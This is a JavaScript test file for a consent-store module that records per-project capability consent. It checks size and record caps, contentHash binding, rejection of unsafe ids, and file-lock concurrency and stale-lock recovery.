const home = tmpDir();
|
|
try {
|
|
fs.mkdirSync(path.join(home, '.gsd'), { recursive: true });
|
|
fs.writeFileSync(consent.consentStorePath(home), JSON.stringify({ version: '1', records: [1, 2, 3] }), 'utf8');
|
|
assert.deepStrictEqual(consent.readConsentStore(home), { records: {} });
|
|
} finally {
|
|
cleanup(home);
|
|
}
|
|
});
|
|
|
|
test('readConsentStore: a record missing contentHash is dropped (fail closed)', () => {
|
|
const home = tmpDir();
|
|
try {
|
|
fs.mkdirSync(path.join(home, '.gsd'), { recursive: true });
|
|
// A legacy/tampered record with no contentHash binding must be treated as invalid.
|
|
const onDisk = { version: '1', records: { '{"r":"/p","i":"cap"}': { projectRoot: '/p', id: 'cap', scope: 'project', integrity: 'i', disclosureSignature: 's', consentedAt: '2026-01-01T00:00:00Z' } } };
|
|
fs.writeFileSync(consent.consentStorePath(home), JSON.stringify(onDisk), 'utf8');
|
|
assert.deepStrictEqual(consent.readConsentStore(home), { records: {} }, 'a record without contentHash is dropped');
|
|
} finally {
|
|
cleanup(home);
|
|
}
|
|
});
|
|
|
|
test('readConsentStore: oversized store is refused (returns empty), never read whole', () => {
|
|
const home = tmpDir();
|
|
try {
|
|
fs.mkdirSync(path.join(home, '.gsd'), { recursive: true });
|
|
const big = '{"version":"1","records":{}' + ' '.repeat(16 * 1024 * 1024) + '}';
|
|
fs.writeFileSync(consent.consentStorePath(home), big, 'utf8');
|
|
assert.deepStrictEqual(consent.readConsentStore(home), { records: {} });
|
|
} finally {
|
|
cleanup(home);
|
|
}
|
|
});
|
|
|
|
// TV-12: the CONSENT_MAX_BYTES read boundary — exactly MAX is accepted (parsed), MAX+1 is refused
|
|
// (returns empty, never read whole). CONSENT_MAX_BYTES is 8 MiB (a DoS backstop, not a product limit).
|
|
const CONSENT_MAX_BYTES = 8 * 1024 * 1024;
|
|
|
|
// Build a VALID one-record consent store whose serialized byte length is EXACTLY `targetBytes`, padding
|
|
// the (whitespace-insensitive) JSON with trailing spaces before the closing brace.
|
|
function consentStoreOfExactBytes(targetBytes) {
|
|
const rec = { projectRoot: '/p', id: 'pad-cap', scope: 'project', integrity: 'i', disclosureSignature: 's', contentHash: 'sha512-pad', consentedAt: '2026-01-01T00:00:00Z' };
|
|
const head = '{"version":"1","records":{' + JSON.stringify('{"r":"/p","i":"pad-cap"}') + ':' + JSON.stringify(rec);
|
|
const tail = '}}';
|
|
const padLen = targetBytes - Buffer.byteLength(head, 'utf8') - Buffer.byteLength(tail, 'utf8');
|
|
if (padLen < 0) throw new Error('target too small for a valid one-record store');
|
|
return head + ' '.repeat(padLen) + tail;
|
|
}
|
|
|
|
test('TV-12: a store of EXACTLY CONSENT_MAX_BYTES is accepted (parsed); MAX+1 is refused (empty)', () => {
|
|
// revert-fails: if the read bound used `>=` instead of `>` (or omitted the byte cap), the
|
|
// exactly-MAX store would be wrongly refused (accept assertion fails); if the cap were dropped, the
|
|
// MAX+1 store would be read+parsed (refuse assertion fails).
|
|
const homeAccept = tmpDir();
|
|
const homeRefuse = tmpDir();
|
|
try {
|
|
fs.mkdirSync(path.join(homeAccept, '.gsd'), { recursive: true });
|
|
fs.mkdirSync(path.join(homeRefuse, '.gsd'), { recursive: true });
|
|
const atMax = consentStoreOfExactBytes(CONSENT_MAX_BYTES);
|
|
assert.strictEqual(Buffer.byteLength(atMax, 'utf8'), CONSENT_MAX_BYTES, 'precondition: exactly MAX bytes');
|
|
fs.writeFileSync(consent.consentStorePath(homeAccept), atMax, 'utf8');
|
|
const accepted = consent.readConsentStore(homeAccept);
|
|
assert.strictEqual(Object.keys(accepted.records).length, 1, 'a store of exactly CONSENT_MAX_BYTES is parsed');
|
|
|
|
const overMax = consentStoreOfExactBytes(CONSENT_MAX_BYTES + 1);
|
|
assert.strictEqual(Buffer.byteLength(overMax, 'utf8'), CONSENT_MAX_BYTES + 1, 'precondition: MAX+1 bytes');
|
|
fs.writeFileSync(consent.consentStorePath(homeRefuse), overMax, 'utf8');
|
|
assert.deepStrictEqual(consent.readConsentStore(homeRefuse), { records: {} }, 'a store of MAX+1 bytes is refused wholesale');
|
|
} finally {
|
|
cleanup(homeAccept);
|
|
cleanup(homeRefuse);
|
|
}
|
|
});
|
|
|
|
test('readConsentStore: a FIFO at the store path does not block; returns empty', { skip: process.platform === 'win32' }, () => {
|
|
const home = tmpDir();
|
|
try {
|
|
fs.mkdirSync(path.join(home, '.gsd'), { recursive: true });
|
|
mkfifo(consent.consentStorePath(home));
|
|
assert.deepStrictEqual(consent.readConsentStore(home), { records: {} });
|
|
} finally {
|
|
cleanup(home);
|
|
}
|
|
});
|
|
|
|
test('readConsentStore: caps the number of records (a hostile store with too many is refused)', () => {
|
|
const home = tmpDir();
|
|
try {
|
|
fs.mkdirSync(path.join(home, '.gsd'), { recursive: true });
|
|
const records = {};
|
|
for (let i = 0; i < 5000; i++) {
|
|
records[`{"r":"/p${i}","i":"cap${i}"}`] = { projectRoot: `/p${i}`, id: `cap${i}`, scope: 'project', integrity: 'i', disclosureSignature: 's', contentHash: 'sha512-x', consentedAt: '2026-01-01T00:00:00Z' };
|
|
}
|
|
fs.writeFileSync(consent.consentStorePath(home), JSON.stringify({ version: '1', records }), 'utf8');
|
|
// > MAX_RECORDS (4096) → refuse the whole store as hostile.
|
|
assert.deepStrictEqual(consent.readConsentStore(home), { records: {} });
|
|
} finally {
|
|
cleanup(home);
|
|
}
|
|
});
|
|
|
|
// Build a store on disk with exactly `n` valid records (distinct kebab ids + roots).
|
|
function seedStoreWithRecords(home, n) {
|
|
fs.mkdirSync(path.join(home, '.gsd'), { recursive: true });
|
|
const records = {};
|
|
for (let i = 0; i < n; i++) {
|
|
records[`{"r":"/p${i}","i":"cap-${i}"}`] = { projectRoot: `/p${i}`, id: `cap-${i}`, scope: 'project', integrity: 'i', disclosureSignature: 's', contentHash: 'sha512-x', consentedAt: '2026-01-01T00:00:00Z' };
|
|
}
|
|
fs.writeFileSync(consent.consentStorePath(home), JSON.stringify({ version: '1', records }), 'utf8');
|
|
}
|
|
|
|
test('TV-13: a store with EXACTLY MAX_RECORDS is accepted at read; MAX_RECORDS+1 is refused wholesale', () => {
|
|
// revert-fails: if the read cap used `>=` instead of `>` (or were dropped), the exactly-MAX store
|
|
// would be wrongly refused (accept assertion fails) or the over-cap store would be read (refuse fails).
|
|
const homeAtCap = tmpDir();
|
|
const homeOverCap = tmpDir();
|
|
try {
|
|
const MAX = consent.MAX_RECORDS;
|
|
seedStoreWithRecords(homeAtCap, MAX);
|
|
assert.strictEqual(Object.keys(consent.readConsentStore(homeAtCap).records).length, MAX, 'exactly MAX_RECORDS is accepted at read');
|
|
|
|
seedStoreWithRecords(homeOverCap, MAX + 1);
|
|
assert.deepStrictEqual(consent.readConsentStore(homeOverCap), { records: {} }, 'MAX_RECORDS+1 is refused wholesale');
|
|
} finally {
|
|
cleanup(homeAtCap);
|
|
cleanup(homeOverCap);
|
|
}
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// record / has / revoke round-trip (the contentHash binding)
|
|
// ---------------------------------------------------------------------------
|
|
|
|
test('record then has: a recorded consent matches on the EXACT contentHash', () => {
|
|
const home = tmpDir();
|
|
const projectRoot = realProject();
|
|
try {
|
|
consent.recordProjectConsent({ gsdHome: home, projectRoot, id: 'deploy-gate', integrity: 'sha512-abc', disclosureSignature: 'sig-1', contentHash: 'sha512-bundle-1' });
|
|
assert.strictEqual(
|
|
consent.hasProjectConsent({ gsdHome: home, projectRoot, id: 'deploy-gate', contentHash: 'sha512-bundle-1' }),
|
|
true,
|
|
);
|
|
} finally {
|
|
cleanup(home);
|
|
cleanup(projectRoot);
|
|
}
|
|
});
|
|
|
|
test('record requires a non-empty contentHash (the security binding) — throws otherwise', () => {
|
|
// revert-fails: if recordProjectConsent did not require contentHash, this would not throw and a
|
|
// record could be written with no bundle binding (degenerate, repo-plantable consent).
|
|
const home = tmpDir();
|
|
const projectRoot = realProject();
|
|
try {
|
|
assert.throws(() => consent.recordProjectConsent({ gsdHome: home, projectRoot, id: 'cap', integrity: 'i', disclosureSignature: 's', contentHash: '' }), /contentHash/);
|
|
assert.deepStrictEqual(consent.readConsentStore(home), { records: {} }, 'nothing written');
|
|
} finally {
|
|
cleanup(home);
|
|
cleanup(projectRoot);
|
|
}
|
|
});
|
|
|
|
test('record writes a well-formed record + lands the store under GSD_HOME (never the project)', () => {
|
|
const home = tmpDir();
|
|
const projectRoot = realProject();
|
|
try {
|
|
consent.recordProjectConsent({ gsdHome: home, projectRoot, id: 'deploy-gate', integrity: 'sha512-abc', disclosureSignature: 'sig-1', contentHash: 'sha512-bundle-1' });
|
|
assert.ok(fs.existsSync(consent.consentStorePath(home)), 'store written under GSD_HOME');
|
|
assert.ok(!fs.existsSync(path.join(projectRoot, '.gsd', 'consent.json')), 'NOT written under the project root');
|
|
const onDisk = JSON.parse(fs.readFileSync(consent.consentStorePath(home), 'utf8'));
|
|
assert.strictEqual(onDisk.version, '1');
|
|
// WIN-3: the on-disk key is the unambiguous JSON-object form {"r":<root>,"i":<id>}.
|
|
const key = JSON.stringify({ r: projectRoot, i: 'deploy-gate' });
|
|
assert.strictEqual(onDisk.records[key].id, 'deploy-gate');
|
|
assert.strictEqual(onDisk.records[key].scope, 'project');
|
|
assert.strictEqual(onDisk.records[key].integrity, 'sha512-abc');
|
|
assert.strictEqual(onDisk.records[key].disclosureSignature, 'sig-1');
|
|
assert.strictEqual(onDisk.records[key].contentHash, 'sha512-bundle-1');
|
|
assert.strictEqual(onDisk.records[key].projectRoot, projectRoot);
|
|
assert.ok(typeof onDisk.records[key].consentedAt === 'string' && onDisk.records[key].consentedAt, 'consentedAt timestamp present');
|
|
} finally {
|
|
cleanup(home);
|
|
cleanup(projectRoot);
|
|
}
|
|
});
|
|
|
|
test('has: a contentHash mismatch is rejected (the binding is the bundle hash)', () => {
|
|
// revert-fails: if hasProjectConsent matched on the ledger integrity (or anything but contentHash),
|
|
// a different bundle hash with the same record would still match and this would FAIL.
|
|
const home = tmpDir();
|
|
const projectRoot = realProject();
|
|
try {
|
|
consent.recordProjectConsent({ gsdHome: home, projectRoot, id: 'cap', integrity: 'sha512-good', disclosureSignature: 'sig-good', contentHash: 'sha512-bundle-good' });
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot, id: 'cap', contentHash: 'sha512-bundle-DIFFERENT' }), false, 'contentHash mismatch rejected');
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot, id: 'cap', contentHash: 'sha512-bundle-good' }), true);
|
|
} finally {
|
|
cleanup(home);
|
|
cleanup(projectRoot);
|
|
}
|
|
});
|
|
|
|
test('has: a different project root does NOT match (consent is per-project, on THIS machine)', () => {
|
|
const home = tmpDir();
|
|
const projectRoot = realProject();
|
|
const otherProject = realProject();
|
|
try {
|
|
consent.recordProjectConsent({ gsdHome: home, projectRoot, id: 'cap', integrity: 'i', disclosureSignature: 's', contentHash: 'sha512-h' });
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot: otherProject, id: 'cap', contentHash: 'sha512-h' }), false);
|
|
} finally {
|
|
cleanup(home);
|
|
cleanup(projectRoot);
|
|
cleanup(otherProject);
|
|
}
|
|
});
|
|
|
|
test('has: returns false (never throws) for an unsafe capability id', () => {
|
|
const home = tmpDir();
|
|
const projectRoot = realProject();
|
|
try {
|
|
for (const bad of ['__proto__', 'constructor', 'prototype', 'Not-Kebab', 'with space', '../escape']) {
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot, id: bad, contentHash: 'sha512-h' }), false, `unsafe id ${bad} → false`);
|
|
}
|
|
} finally {
|
|
cleanup(home);
|
|
cleanup(projectRoot);
|
|
}
|
|
});
|
|
|
|
test('record: rejects an unsafe capability id (prototype-pollution-safe), nothing written', () => {
|
|
const home = tmpDir();
|
|
const projectRoot = realProject();
|
|
try {
|
|
assert.throws(() => consent.recordProjectConsent({ gsdHome: home, projectRoot, id: '__proto__', integrity: 'i', disclosureSignature: 's', contentHash: 'sha512-h' }));
|
|
const store = consent.readConsentStore(home);
|
|
assert.deepStrictEqual(Object.keys(store.records), []);
|
|
assert.strictEqual({}.polluted, undefined);
|
|
} finally {
|
|
cleanup(home);
|
|
cleanup(projectRoot);
|
|
}
|
|
});
|
|
|
|
test('record is idempotent: re-recording the same key overwrites in place (one record)', () => {
|
|
const home = tmpDir();
|
|
const projectRoot = realProject();
|
|
try {
|
|
consent.recordProjectConsent({ gsdHome: home, projectRoot, id: 'cap', integrity: 'i1', disclosureSignature: 's1', contentHash: 'sha512-h1' });
|
|
consent.recordProjectConsent({ gsdHome: home, projectRoot, id: 'cap', integrity: 'i2', disclosureSignature: 's2', contentHash: 'sha512-h2' });
|
|
const onDisk = JSON.parse(fs.readFileSync(consent.consentStorePath(home), 'utf8'));
|
|
assert.strictEqual(Object.keys(onDisk.records).length, 1);
|
|
const key = JSON.stringify({ r: projectRoot, i: 'cap' });
|
|
assert.strictEqual(onDisk.records[key].contentHash, 'sha512-h2');
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot, id: 'cap', contentHash: 'sha512-h2' }), true);
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot, id: 'cap', contentHash: 'sha512-h1' }), false);
|
|
} finally {
|
|
cleanup(home);
|
|
cleanup(projectRoot);
|
|
}
|
|
});
|
|
|
|
test('record preserves OTHER existing records (atomic round-trip across multiple caps)', () => {
|
|
const home = tmpDir();
|
|
const projectRoot = realProject();
|
|
try {
|
|
consent.recordProjectConsent({ gsdHome: home, projectRoot, id: 'cap-a', integrity: 'ia', disclosureSignature: 'sa', contentHash: 'sha512-a' });
|
|
consent.recordProjectConsent({ gsdHome: home, projectRoot, id: 'cap-b', integrity: 'ib', disclosureSignature: 'sb', contentHash: 'sha512-b' });
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot, id: 'cap-a', contentHash: 'sha512-a' }), true);
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot, id: 'cap-b', contentHash: 'sha512-b' }), true);
|
|
} finally {
|
|
cleanup(home);
|
|
cleanup(projectRoot);
|
|
}
|
|
});
|
|
|
|
test('revoke removes a record (has → false afterward); no-op when absent', () => {
|
|
const home = tmpDir();
|
|
const projectRoot = realProject();
|
|
try {
|
|
consent.recordProjectConsent({ gsdHome: home, projectRoot, id: 'cap', integrity: 'i', disclosureSignature: 's', contentHash: 'sha512-h' });
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot, id: 'cap', contentHash: 'sha512-h' }), true);
|
|
consent.revokeProjectConsent({ gsdHome: home, projectRoot, id: 'cap' });
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot, id: 'cap', contentHash: 'sha512-h' }), false, 'record removed by revoke');
|
|
assert.doesNotThrow(() => consent.revokeProjectConsent({ gsdHome: home, projectRoot, id: 'cap' }));
|
|
assert.doesNotThrow(() => consent.revokeProjectConsent({ gsdHome: home, projectRoot, id: 'never' }));
|
|
} finally {
|
|
cleanup(home);
|
|
cleanup(projectRoot);
|
|
}
|
|
});
|
|
|
|
test('revoke leaves OTHER records intact', () => {
|
|
const home = tmpDir();
|
|
const projectRoot = realProject();
|
|
try {
|
|
consent.recordProjectConsent({ gsdHome: home, projectRoot, id: 'cap-a', integrity: 'ia', disclosureSignature: 'sa', contentHash: 'sha512-a' });
|
|
consent.recordProjectConsent({ gsdHome: home, projectRoot, id: 'cap-b', integrity: 'ib', disclosureSignature: 'sb', contentHash: 'sha512-b' });
|
|
consent.revokeProjectConsent({ gsdHome: home, projectRoot, id: 'cap-a' });
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot, id: 'cap-a', contentHash: 'sha512-a' }), false);
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot, id: 'cap-b', contentHash: 'sha512-b' }), true, 'sibling record preserved');
|
|
} finally {
|
|
cleanup(home);
|
|
cleanup(projectRoot);
|
|
}
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// B — concurrency (CONSENT-CONCURRENCY-1)
|
|
// ---------------------------------------------------------------------------
|
|
|
|
test('two concurrent cross-project consent writes both survive (CONSENT-CONCURRENCY-1)', async () => {
|
|
// revert-fails: if record/revoke did NOT take the consent-store-dir lock around the read-modify-
|
|
// write, two concurrent writers to the same store would lose-update (B reads, A writes, B overwrites
|
|
// with its stale snapshot), and only one record would survive — this assertion would FAIL.
|
|
const { spawn } = require('node:child_process');
|
|
const home = tmpDir();
|
|
const projA = realProject();
|
|
const projB = realProject();
|
|
try {
|
|
const modPath = path.resolve('gsd-core/bin/lib/capability-consent.cjs');
|
|
// Run the two record writes in genuinely separate processes that hit the cross-process O_EXCL
|
|
// lock concurrently (an in-process Promise.all would not exercise the file lock at all).
|
|
const writeIn = (proj, id, hash) => new Promise((resolve, reject) => {
|
|
const code = `require(${JSON.stringify(modPath)}).recordProjectConsent(` +
|
|
`{gsdHome:${JSON.stringify(home)},projectRoot:${JSON.stringify(proj)},id:${JSON.stringify(id)},` +
|
|
`integrity:'i',disclosureSignature:'s',contentHash:${JSON.stringify(hash)}})`;
|
|
const child = spawn(process.execPath, ['-e', code], { stdio: 'ignore' });
|
|
child.on('error', reject);
|
|
child.on('exit', (codeNum) => (codeNum === 0 ? resolve() : reject(new Error(`child exited ${codeNum}`))));
|
|
});
|
|
await Promise.all([
|
|
writeIn(projA, 'cap-a', 'sha512-a'),
|
|
writeIn(projB, 'cap-b', 'sha512-b'),
|
|
]);
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot: projA, id: 'cap-a', contentHash: 'sha512-a' }), true, 'project A record survived');
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot: projB, id: 'cap-b', contentHash: 'sha512-b' }), true, 'project B record survived (no lost update)');
|
|
} finally {
|
|
cleanup(home);
|
|
cleanup(projA);
|
|
cleanup(projB);
|
|
}
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Finding 3 (MEDIUM, #1459): a consent write must NOT proceed UNLOCKED. If the consent-
|
|
// store lock cannot be acquired, record/revoke must THROW (never do an unlocked
|
|
// read-modify-write → lost update). The lifecycle treats a consent-write failure as
|
|
// NON-FATAL + warns (round-2 IC-05), so throwing here is safe (install still succeeds;
|
|
// the cap stays inactive until consent can be written).
|
|
// ---------------------------------------------------------------------------
|
|
|
|
// Build a JSON lock body matching the shared lock primitive's shape (so it parses as a real holder).
|
|
function consentLockBody({ pid = process.pid, host = os.hostname(), ts = Date.now(), startTime = 'CSTART' } = {}) {
|
|
return JSON.stringify({ token: `${pid}-${ts}-1`, pid, hostname: host, startTime, ts });
|
|
}
|
|
|
|
// Plant a FRESH (under the stale window) lock at the consent-store lock path so acquireConsentLock,
|
|
// which must NOT steal a fresh lock, returns null within its attempt budget.
|
|
function plantFreshConsentLock(home) {
|
|
const lockPath = consent.consentLockPath(home);
|
|
fs.mkdirSync(path.dirname(lockPath), { recursive: true });
|
|
fs.writeFileSync(lockPath, consentLockBody({ ts: Date.now() }), 'utf8'); // fresh ts → never stolen
|
|
return lockPath;
|
|
}
|
|
|
|
test('finding-3: recordProjectConsent THROWS when the consent lock cannot be acquired (no unlocked write)', () => {
|
|
// revert-fails: if record proceeded UNLOCKED on a failed lock acquire, this assertion would not throw
|
|
// and the store would be mutated without the lock (the lost-update vector). With the fix, a held fresh
|
|
// lock makes acquire return null → record throws and the store is left UNCHANGED.
|
|
const home = tmpDir();
|
|
const projectRoot = realProject();
|
|
try {
|
|
plantFreshConsentLock(home);
|
|
assert.throws(
|
|
() => consent.recordProjectConsent({ gsdHome: home, projectRoot, id: 'cap', integrity: 'i', disclosureSignature: 's', contentHash: 'sha512-h' }),
|
|
/lock/i,
|
|
'record must throw (lock-acquire failure) rather than write unlocked',
|
|
);
|
|
// The store must be UNCHANGED — no record was written (the lock file is not the store file).
|
|
assert.deepStrictEqual(consent.readConsentStore(home), { records: {} }, 'no record written without the lock');
|
|
} finally {
|
|
cleanup(home);
|
|
cleanup(projectRoot);
|
|
}
|
|
});
|
|
|
|
test('finding-3: revokeProjectConsent THROWS when the consent lock cannot be acquired (no unlocked delete)', () => {
|
|
// revert-fails: if revoke proceeded UNLOCKED on a failed lock acquire, it would silently delete (or
|
|
// no-op) without the lock and NOT throw — this assertion would FAIL. With the fix, a held fresh lock
|
|
// makes acquire return null → revoke throws and the existing record is preserved.
|
|
const home = tmpDir();
|
|
const projectRoot = realProject();
|
|
try {
|
|
// Seed a real record FIRST (under a free lock), then plant the fresh lock to block the revoke.
|
|
consent.recordProjectConsent({ gsdHome: home, projectRoot, id: 'cap', integrity: 'i', disclosureSignature: 's', contentHash: 'sha512-h' });
|
|
plantFreshConsentLock(home);
|
|
assert.throws(
|
|
() => consent.revokeProjectConsent({ gsdHome: home, projectRoot, id: 'cap' }),
|
|
/lock/i,
|
|
'revoke must throw (lock-acquire failure) rather than delete unlocked',
|
|
);
|
|
// The record must STILL be present — the blocked revoke did not mutate the store.
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot, id: 'cap', contentHash: 'sha512-h' }), true, 'record preserved (revoke blocked, no unlocked delete)');
|
|
} finally {
|
|
cleanup(home);
|
|
cleanup(projectRoot);
|
|
}
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Finding 4 (MEDIUM, #1459): the consent lock must use the HARDENED steal protocol
|
|
// (shared with the lifecycle lock — pid + process-start-time identity + hard deadman).
|
|
// It must NEVER stale-steal a verified-live SAME-host holder, but MUST reclaim a dead
|
|
// holder, and must never deadlock. Tests inject deterministic liveness probes.
|
|
// ---------------------------------------------------------------------------
|
|
|
|
function withConsentLockProbes(t, { alive, startTime }) {
|
|
consent._setLockProbes({ isPidAlive: () => alive, getProcessStartTime: () => startTime });
|
|
t.after(() => consent._resetLockProbes());
|
|
}
|
|
|
|
// Backdate both the body ts and the file mtime to a given age (mirrors the lifecycle lock test helper).
|
|
function ageConsentLock(lockPath, ageMs, body) {
|
|
let written = body;
|
|
try {
|
|
const obj = JSON.parse(body);
|
|
if (obj && typeof obj === 'object' && 'ts' in obj) { obj.ts = Date.now() - ageMs; written = JSON.stringify(obj); }
|
|
} catch { /* not JSON */ }
|
|
fs.writeFileSync(lockPath, written, 'utf8');
|
|
const t = new Date(Date.now() - ageMs);
|
|
fs.utimesSync(lockPath, t, t);
|
|
}
|
|
|
|
test('finding-4: the consent lock does NOT stale-steal a VERIFIED-LIVE same-host holder (no lost update)', (t) => {
|
|
// revert-fails: the OLD consent lock stole any holder older than 60s using mtime ALONE, so a stale-
|
|
// but-live writer would be stolen here → record would SUCCEED (no throw) and overwrite the live
|
|
// writer's store. With the hardened protocol, a verified-live holder is sacrosanct → acquire returns
|
|
// null → record throws and the planted lock body is untouched.
|
|
const home = tmpDir();
|
|
const projectRoot = realProject();
|
|
try {
|
|
withConsentLockProbes(t, { alive: true, startTime: 'CSTART' }); // pid alive + start-time MATCH → verified-live
|
|
const lockPath = consent.consentLockPath(home);
|
|
fs.mkdirSync(path.dirname(lockPath), { recursive: true });
|
|
const body = consentLockBody({ startTime: 'CSTART' });
|
|
ageConsentLock(lockPath, 2 * 60 * 1000, body); // 2 min old (past the 60s stale window)
|
|
const original = fs.readFileSync(lockPath, 'utf8');
|
|
assert.throws(
|
|
() => consent.recordProjectConsent({ gsdHome: home, projectRoot, id: 'cap', integrity: 'i', disclosureSignature: 's', contentHash: 'sha512-h' }),
|
|
/lock/i,
|
|
'a verified-live holder must NOT be stolen (record cannot acquire → throws)',
|
|
);
|
|
assert.strictEqual(fs.readFileSync(lockPath, 'utf8'), original, 'the verified-live consent lock body must be untouched');
|
|
} finally {
|
|
cleanup(home);
|
|
cleanup(projectRoot);
|
|
}
|
|
});
|
|
|
|
test('finding-4: the consent lock RECLAIMS a dead same-host holder (fast local recovery, no deadlock)', (t) => {
|
|
// revert-fails: if the hardened protocol never reclaimed a dead holder (e.g. deadman-only with no
|
|
// dead-pid fast path), a crashed writer's stale lock would block this record forever → it would throw
|
|
// and the record would never be written. With dead-pid fast recovery, acquire steals the dead lock and
|
|
// record SUCCEEDS — this assertion (record present) would FAIL under a never-reclaim regression.
|
|
const home = tmpDir();
|
|
const projectRoot = realProject();
|
|
try {
|
|
withConsentLockProbes(t, { alive: false, startTime: 'CSTART' }); // pid DEAD → not verified-live → steal-eligible
|
|
const lockPath = consent.consentLockPath(home);
|
|
fs.mkdirSync(path.dirname(lockPath), { recursive: true });
|
|
ageConsentLock(lockPath, 2 * 60 * 1000, consentLockBody({ startTime: 'CSTART' })); // stale (>60s), dead pid
|
|
assert.doesNotThrow(
|
|
() => consent.recordProjectConsent({ gsdHome: home, projectRoot, id: 'cap', integrity: 'i', disclosureSignature: 's', contentHash: 'sha512-h' }),
|
|
'a dead holder must be reclaimed so record proceeds',
|
|
);
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot, id: 'cap', contentHash: 'sha512-h' }), true, 'record written after reclaiming the dead holder');
|
|
} finally {
|
|
cleanup(home);
|
|
cleanup(projectRoot);
|
|
}
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// B — MAX_RECORDS enforced at WRITE (CONSENT-MAXRECORDS-WRITE-1)
|
|
// ---------------------------------------------------------------------------
|
|
|
|
test('exactly MAX_RECORDS records can be written; the (MAX+1)th NEW key is refused at write', () => {
|
|
// revert-fails: if recordProjectConsent did not enforce MAX_RECORDS BEFORE the write, the (MAX+1)th
|
|
// write would succeed and the on-disk store would exceed the cap (a store readConsentStore would
|
|
// then refuse wholesale), so this throw assertion would FAIL.
|
|
const home = tmpDir();
|
|
try {
|
|
const MAX = consent.MAX_RECORDS;
|
|
// Seed the store on disk at exactly MAX records (cheaper than MAX real lock cycles).
|
|
// Use path.resolve() for the seed keys so they match the normalization that production
|
|
// applies via consentProjectRoot (realpathSync fallback → path.resolve). On Windows,
|
|
// path.resolve('/p0') === 'C:\\p0', so a raw '/p0' key would NOT match the production
|
|
// lookup and the re-record below would be treated as a NEW key → false cap-full throw.
|
|
fs.mkdirSync(path.join(home, '.gsd'), { recursive: true });
|
|
const records = {};
|
|
for (let i = 0; i < MAX; i++) {
|
|
const r = path.resolve(`/p${i}`);
|
|
records[JSON.stringify({ r, i: `cap${i}` })] = { projectRoot: r, id: `cap${i}`, scope: 'project', integrity: 'i', disclosureSignature: 's', contentHash: 'sha512-x', consentedAt: '2026-01-01T00:00:00Z' };
|
|
}
|
|
fs.writeFileSync(consent.consentStorePath(home), JSON.stringify({ version: '1', records }), 'utf8');
|
|
assert.strictEqual(Object.keys(consent.readConsentStore(home).records).length, MAX, 'store seeded at the cap');
|
|
// A re-record of an EXISTING key does NOT grow the store → allowed even at the cap.
|
|
const existingProj = path.resolve('/p0');
|
|
assert.doesNotThrow(() => consent.recordProjectConsent({ gsdHome: home, projectRoot: existingProj, id: 'cap0', integrity: 'i', disclosureSignature: 's', contentHash: 'sha512-new' }));
|
|
// Adding a NEW key when already at the cap is refused with a clear 'full' error.
|
|
const fresh = realProject();
|
|
try {
|
|
assert.throws(() => consent.recordProjectConsent({ gsdHome: home, projectRoot: fresh, id: 'overflow', integrity: 'i', disclosureSignature: 's', contentHash: 'sha512-of' }), /full|maximum/i);
|
|
} finally {
|
|
cleanup(fresh);
|
|
}
|
|
} finally {
|
|
cleanup(home);
|
|
}
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// B — WIN-3 space-boundary disk-key collision-safety
|
|
// ---------------------------------------------------------------------------
|
|
|
|
test('WIN-3: roots containing spaces are keyed unambiguously on disk (no collision/mangling)', () => {
|
|
// revert-fails: the on-disk key is the unambiguous JSON-object form {"r":<realRoot>,"i":<id>}. If a
|
|
// regression reverted to a delimiter-joined disk key that does not survive a space in the path (the
|
|
// Windows `C:\Users\John Smith\...` case) — e.g. a `<root> <id>` space-join later parsed by
|
|
// splitting on the space, or any encoding that loses the root/id boundary when the root has a space
|
|
// — two distinct space-containing roots would alias and one record would be clobbered, making the
|
|
// record-count and one of the has-checks below FAIL. The JSON-object key keeps every pair distinct.
|
|
const home = tmpDir();
|
|
try {
|
|
const r1 = '/tmp/space root one'; // path containing spaces (Windows-style)
|
|
const r2 = '/tmp/space root one x'; // a DIFFERENT root extending r1 past a space boundary
|
|
consent.recordProjectConsent({ gsdHome: home, projectRoot: r1, id: 'cap-a', integrity: 'i', disclosureSignature: 's', contentHash: 'sha512-1' });
|
|
consent.recordProjectConsent({ gsdHome: home, projectRoot: r2, id: 'cap-b', integrity: 'i', disclosureSignature: 's', contentHash: 'sha512-2' });
|
|
const onDisk = JSON.parse(fs.readFileSync(consent.consentStorePath(home), 'utf8'));
|
|
assert.strictEqual(Object.keys(onDisk.records).length, 2, 'two distinct records, no disk-key collision');
|
|
assert.ok(onDisk.records[JSON.stringify({ r: path.resolve(r1), i: 'cap-a' })], 'r1 (space path) record keyed unambiguously');
|
|
assert.ok(onDisk.records[JSON.stringify({ r: path.resolve(r2), i: 'cap-b' })], 'r2 (space path) record keyed unambiguously');
|
|
// Both are independently retrievable (the lookup re-keys via the canonical NUL key).
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot: r1, id: 'cap-a', contentHash: 'sha512-1' }), true);
|
|
assert.strictEqual(consent.hasProjectConsent({ gsdHome: home, projectRoot: r2, id: 'cap-b', contentHash: 'sha512-2' }), true);
|
|
} finally {
|
|
cleanup(home);
|
|
}
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
